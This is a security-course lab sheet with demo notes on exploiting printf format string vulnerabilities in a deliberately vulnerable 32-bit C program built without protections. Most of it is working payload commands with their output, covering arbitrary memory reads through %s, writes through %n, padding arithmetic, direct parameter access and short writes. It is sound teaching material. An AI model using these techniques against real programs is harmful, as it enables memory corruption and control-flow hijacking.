---
title: "Notes for Ch3_Format5"
author: ["Thomas Shaw"]
license: "CC BY-SA 4.0"
description: "Notes for Ch3_Format5."
overview: |
  Notes for Ch3_Format5.
tags: ["buffer-overflow", "format-string", "exploitation", "linux", "assembly", "gdb"]
categories: ["software_security_exploitation"]
lab_sheet_url: "https://docs.google.com/document/d/1Ap-h6YSDtfU4bLwiKhxP5x2nf1vjSJ2V2zEL5wzW84U/edit?usp=sharing"
type: ["ctf-lab", "lab-sheet"]
difficulty: "advanced"
cybok:
  - ka: "SS"
    topic: "Categories of Vulnerabilities"
    keywords: ["memory management vulnerabilities", "Format string attacks"]
---

# Notes for Ch3_Format5

Setup notes: 
	We needed to disable ASLR. This was achieved by setting the /proc/sys/kernel/randomize_va_space to "0". 

Make note of the paramter number that hits our AAAA's:
   "AAAA%4$08x" --> AAAA41414141 

   So... the fourth parameter is our format string
  
Now we know this, we can replace the start of our format string with an actual address that we want to write to.

So where do we want to write to? 
    The `key` variable

We want to disassemble the program to determine the address of the key.
    
When we ran the program, we saw that the program wanted us to set the value of the key to 36. 

If we disassemble main, we can see that there is the following cmp instruction, comparing the contents of eax to 0x24 (which is dec 36):

       0x56654520 <+186>:   cmp    eax,0x24
	   
	   
We need to work backwards from here + figure out what's getting stored in eax.

    We will open it in Ghidra to get a better control flow graph.
    
This gives us a better understanding of what is going on. Essentially there's a format string vuln, then a conditional check on a variable 'key' to compare it to 0x24 (base 10 36).

We need to write the value 0x24 to the memory address of the key.

We can use gdb to find the address of the key. We first break at main, then run info add key.
 
You input: AAA
The key is equal to 0.

Breakpoint 2, 0x56556520 in main ()
(gdb) info add key
Symbol "key" is at 0xb086935c in a file compiled without debugging.

Let's add that to the start of our format string exploit. Additionally, we need to ensure that we reverse the byte order to respect the endianness. 

    echo "$(printf "\x5c\x93\x86\xb0")%x%4\$n" > ../exploit_Ch3_Format5_nTargetWrite 

	./Ch3_Format5_nTargetWrite < ../exploit_Ch3_Format5_nTargetWrite 	

This command ended up writing the number of characters we've printed so far, 12, into the key variable!


Hint: Play around with adjusting the padding to write the required value into key





## Notes for demo:

### 1) Recap

We left with this program: 
```
#include <stdio.h>

void printWrapper(char *string){
        printf(string); // <--- Bad use of printf()
}

int main(int argc, char *argv[]){

        char print_me[5012];

        fgets(print_me, 4096, stdin); // <--- User controls format string

        printWrapper(print_me);

        return(0);
}
```

demonstrative examples are compiled w/o memory protections, using: 
`sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'`
`gcc -no-pie -fno-pie -z execstack -z norelro -m32 -mpreferred-stack-boundary=2 -g demo.c -o demo`



### 2) Reading arbitrary memory

- Using the program from last week I am going to demonstrate how you can use the format string vulnerability in printf() to read any memory in the process' virtual address space.

- As we saw last time, we were able to print the contents of the stack. By passing in enough %08x templates, we saw that we were actually able to see the hexadecimal representation of our format string. 

- We can see that here by adding AAAA at the start, and as we know ascii 'A' == 0x41 

`echo "AAAA%08x.%08x.%08x.%08x" | ./demo`
`AAAAffcb7768.080491b2.ffcb63d4.41414141`

This pops a value from the stack and prints the hex representation of it four times. In practice, the 41414141 shows us that the fourth parameter reads from the beginning of our format string.

As we know from last time, the %s template will print a string located at the memory address that it's popped from the top of the stack. 

If we replaced the fourth %08x in our above example with a %s, the %s would attempt to print a string located at memory address 0x41414141. This address is not a valid address, so this would result in a segfault.

`echo "AAAA%08x.%08x.%08x.%s" | ./demo"`
`Segmentation Fault`

If we replaced this 0x41414141 with a valid memory address, we could use the %s template to print out the contents of that memory address as a string.


--- Finding PATH 

We can run gdb to find the location that the PATH environment variable is loaded into memory.

`gdb -q ./demo`
`break main`
`r`
`info var environ`
`x/8s *((char**)environ)`
e.g.
```
(gdb) x/8s *((char**)environ)
0xffffd461:     "SHELL=/bin/bash"
0xffffd471:     "SESSION_MANAGER=local/p-26-214-13-gtXA-1-c-asm-iof-desktop:@/tmp/.ICE-unix/759,unix/p-26-214-13-gtXA-1-c-asm-iof-desktop:/tmp/.ICE-unix/759"
0xffffd4fd:     "WINDOWID=37748743"
0xffffd50f:     "QT_ACCESSIBILITY=1"
0xffffd522:     "COLORTERM=truecolor"
0xffffd536:     "XDG_SESSION_PATH=/org/freedesktop/DisplayManager/Session0"
0xffffd570:     "LANGUAGE="
0xffffd57a:     "SSH_AUTH_SOCK=/tmp/ssh-SR0DqqfLGTPe/agent.628"
```

0xffffd461 is the start of the env var string when we load it via gdb.

When we are running programs within gdb, there may be slight differences in the memory layout. This is usually due to different environment variables.

This is not actually going to accurately represent the memory location of PATH when we run it, as it's going to be at a slightly different location because the length of the parameter  which contains the input we used to run the program will slightly offset it.

When we run with `gdb -q ./demo`, the env var SHELL is loaded into memory address `0xffffd43F`.

There are differences in the memory addresses when we run the executable via gdb. These are usually due to differences in the environment variables. 

- GDB adds a 'LINES' and 'COUNT' env var, and also has a different length program name. 
- _ contains the path to the executable that was run, which is different depending on where we're running it from and whether we're running /usr/bin/gdb or /home/asdf/binary_path.


We'll look at this in more detail in a later video, but for now we can figure it out by writing some additional code inside our program to print out the exact address. 

```
#include <stdio.h>

void printWrapper(char *string){
        printf(string); // <--- Bad use of printf()
}

int main(int argc, char *argv[]){

        char print_me[5012];

        fgets(print_me, 4096, stdin); // <--- User controls format string

        printWrapper(print_me);

        char* ptr = getenv("SHELL");
        printf("\n\nMemory address of SHELL environment variable @ 0x%08x\n", ptr);

        return(0);
}


```


When we run it with `./demo`, the env var SHELL is loaded into memory address `0xffffd468`.

`echo "$(printf '\x68\xd4\xff\xff')%08x %08x %08x %s" | ./demo`
`h���ffffd228 080491b2 ffffbe94 SHELL=/bin/bash`

We can adjust to just print the /bin/bash string, which may be useful later.
`echo "$(printf '\x6E\xd4\xff\xff')%08x %08x %08x %s" | ./demo` 
`i���ffffd218 080491b2 ffffbe84 /bin/bash`


### 3) Writing to arbitrary memory

In order to demonstrate this, we will create a new variable in our demo program called `overwrite_me` and print out its address. We will then use a format string exploit to overwrite its value with something else.

```
#include <stdio.h>

void printWrapper(char *string){
        printf(string); // <--- Bad use of printf()
}

int main(int argc, char *argv[]){

        char print_me[5012];
        int overwrite_me = 0;

        fgets(print_me, 4096, stdin); // <--- User controls format string

        printWrapper(print_me);

        char* ptr = getenv("SHELL");
        printf("\nMemory address of SHELL environment variable @ 0x%08x\n", ptr);

        printf("Memory address of overwrite_me @ 0x%08x = %d 0x%08x\n", &overwrite_me, overwrite_me, overwrite_me);

        return(0);
}

```

```
./demo


Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @  0xffffbe8c = 0 0x00000000

```

With the above code we're now able to see that the memory address of overwrite_me is at 0xffffbe8c and it contains the value 0.

We can use a similar technique with %n rather than %s, to write to arbitrary memory.

`echo "$(printf '\x8c\xbe\xff\xff')%08x %08x %08x %08x %n" | ./demo`
```
����ffffd228 080491cc ffffbe90 00000000 


Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @  0xffffbe8c = 40 0x00000028
```

The value 40 that we have written into `int overwrite_me` is calculated based on the amount of characters we printed up until that point. i.e. the length of the string: `"����ffffd228 080491cc ffffbe90 00000000 "` in the example above.


We can control this value easily if we adjust the field width option. We've been printing 8 hex characters with our %08x templates, but we can actually just adjust this 8 to a larger number to increase the amount of characters we print.

`echo "$(printf '\x8c\xbe\xff\xff')%x%x%x%x%n" | ./demo`
```����ffffd22880491ccffffbe900


Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @  0xffffbe8c = 28 0x0000001c
```

+1
`echo "$(printf '\x8c\xbe\xff\xff')%x%x%x%2x%n" | ./demo`
```
����ffffd22880491ccffffbe90 0


Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @  0xffffbe8c = 29 0x0000001d
```

+100, etc.

This works fine for small numbers, but not for large ones like memory addresses.


### 4) Field-width specifier

If we look at the hex representation of the overwrite_me value, we can see that the end 2 values (i.e. the LSB) can be controlled quite well. 

We can use multiple writes to the memory address of the integer that we're overwriting, offset by a byte each time, in order to write larger bits of data.

Lets try write 0xDDCCBBAA into our overwrite_me variable to demonstrate.

In order to do this, we'll need to write AA first, then BB, then CC, then DD.

**First write (AA):**

`echo "$(printf '\x8c\xbe\xff\xff')%x%x%x%8x%n" | ./demo`
```
����ffffd22880491ccffffbe90       0


Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @  0xffffbe8c = 35 0x00000023

```

When we run our original exploit string with 8 , we have 35 (or 0x23) in the LSB.

We can use gdb to calculate the number of characters we need to print before we hit the hex value for aa:

```
(gdb) p 0xaa - 35 + 8
$3 = 143
```

`echo "$(printf '\x8c\xbe\xff\xff')%x%x%x%143x%n" | ./demo`

```
Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @  0xffffbe8c = 170 0x000000aa
```


**Second write (BB):**

To write BB, we need another argument for another %x format parameter, that increments the byte count to 0xBB. 

In order to do this we need the memory addresses that we're going to use for writes on the stack.

`$( printf '\x8c\xbe\xff\xffJUNK\x8d\xbe\xff\xffJUNK\x8e\xbe\xff\xffJUNK\x8f\xbe\xff\xff')%x%x%x%x8%n"`

```
����JUNK����JUNK����JUNK����ffffd22880491ccffffbe9008


Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @  0xffffbe8c = 53 0x00000035

```

As we can see, this sets 0x35 or d53 in overwrite me, and we want it to be 0xaa.
We can use a width buffer of 119 characters in order to write aa to the LSB as before.
`echo "$(printf '\x8c\xbe\xff\xffJUNK\x8d\xbe\xff\xffJUNK\x8e\xbe\xff\xffJUNK\x8f\xbe\xff\xff')%x%x%x%119x%n" | ./demo`
```
����JUNK����JUNK����JUNK����ffffd22880491ccffffbe90                                                                                                                      0


Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @  0xffffbe8c = 170 0x000000aa
```

In order to write bb, we can calculate the number of characters our string needs to be in 0xbb,  then add a second write:

```(gdb) p 0xbb - 0xaa
$4 = 17
```

`echo "$(printf '\x8c\xbe\xff\xffJUNK\x8d\xbe\xff\xffJUNK\x8e\xbe\xff\xffJUNK\x8f\xbe\xff\xff')%x%x%x%119x%n%17x%n" | ./demo`
```
����JUNK����JUNK����JUNK����ffffd22880491ccffffbe90                                                                                                                      0         4b4e554a


Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @  0xffffbe8c = 48042 0x0000bbaa
```

etc.

We could continue this example with the final 2 writes. If we needed a number smaller than the one we've got, we would need to increment by enough to overflow the first 2 bytes of the number.  


### 5) Direct Parameter Access

Direct Parameter Access simplifies format string exploits.

It allows parameters to be accessed directly using the `$` qualifier.

`%n$d` accesses the nth parameter and displays it as a decimal number.

e.g. 
`printf("7th: %7$d, 4th: %4$05d\n", 10, 20, 30, 40, 50, 60, 70, 80);`
`7th: 70, 4th: 00040`


`echo "AAAA%x%x%x%x" | ./demo`
```
AAAAffffd22880491ccffffbe900


Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @  0xffffbe8c = 0 0x00000000
```

vs

`echo "AAAA%5\$x" | ./demo`
```
AAAA41414141


Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @  0xffffbe8c = 0 0x00000000
```

DPA also simplifies the writing of memory addresses. As we can directly access memory, we don't need the 4-byte spacers of junk data to increment the byte output count anymore.

`echo "$(printf '\x8c\xbe\xff\xff\x8d\xbe\xff\xff\x8e\xbe\xff\xff\x8f\xbe\xff\xff')%5\$n" | ./demo`
```
����������������


Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @  0xffffbe8c = 16 0x00000010
```

Let's write the realistic looking memory address of `0xbffffd72` into the variable test_vals.

First we need to calculate the 

```
(gdb) p 0x72 - 16 
$1 = 98 
(gdb) p 0xfd - 0x72 
$2 = 139
(gdb) p 0x1ff - 0xfd
$2 = 258
(gdb) p 0x1bf - 0xff
$3 = 192
```

If we only do the first 3 writes, we can see the integer overflowing into the adjacent memory space on the left. This doesn't matter in this case, as we're going to overwrite the 0x01 with our 0xbf. 

It is something to think about though for the 4th write. If we're writing a number that overflows we could corrupt other variables.

`echo "$(printf '\x8c\xbe\xff\xff\x8d\xbe\xff\xff\x8e\xbe\xff\xff\x8f\xbe\xff\xff')%98x%5\$n%139x%6\$n%258x%7\$n" | ./demo`
```
����������������                                                                                          ffffd228                                                                                                                                    80491cc                                                                                                                                                                                                                                                          ffffbe90


Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @  0xffffbe8c = 33553778 0x01fffd72
```

To finish, we perform the fourth write here: 

`echo "$(printf '\x8c\xbe\xff\xff\x8d\xbe\xff\xff\x8e\xbe\xff\xff\x8f\xbe\xff\xff')%98x%5\$n%139x%6\$n%258x%7\$n%192x%8\$n" | ./demo`
```
����������������                                                                                          ffffd228                                                                                                                                    80491cc                                                                                                                                                                                                                                                          ffffbe90                                                                                                                                                                                               0


Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @  0xffffbe8c = -1073742478 0xbffffd72
```


### 6) Short Writes

We can use 2-byte shorts to reduce the number of writes required to write a memory address. 

As the overflowed integer value past the end of the 2 byte short is dropped rather than written, the order of the writes doesn't matter. This means we could write to the higher memory address, then the lower one.

e.g.

`echo "$(printf '\x8c\xbe\xff\xff')%x%x%x%x%n" | ./demo`
```
����ffffd22880491ccffffbe900


Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @  0xffffbe8c = 28 0x0000001c
```

changing the memory address to write to the first 2 bytes:
`echo "$(printf '\x8e\xbe\xff\xff')%x%x%x%x%n" | ./demo`
```
����ffffd22880491ccffffbe900


Memory address of SHELL environment variable @ 0xffffd46e = 47 0x0000002f
Memory address of overwrite_me @  0xffffbe8c = 1835008 0x001c0000
```
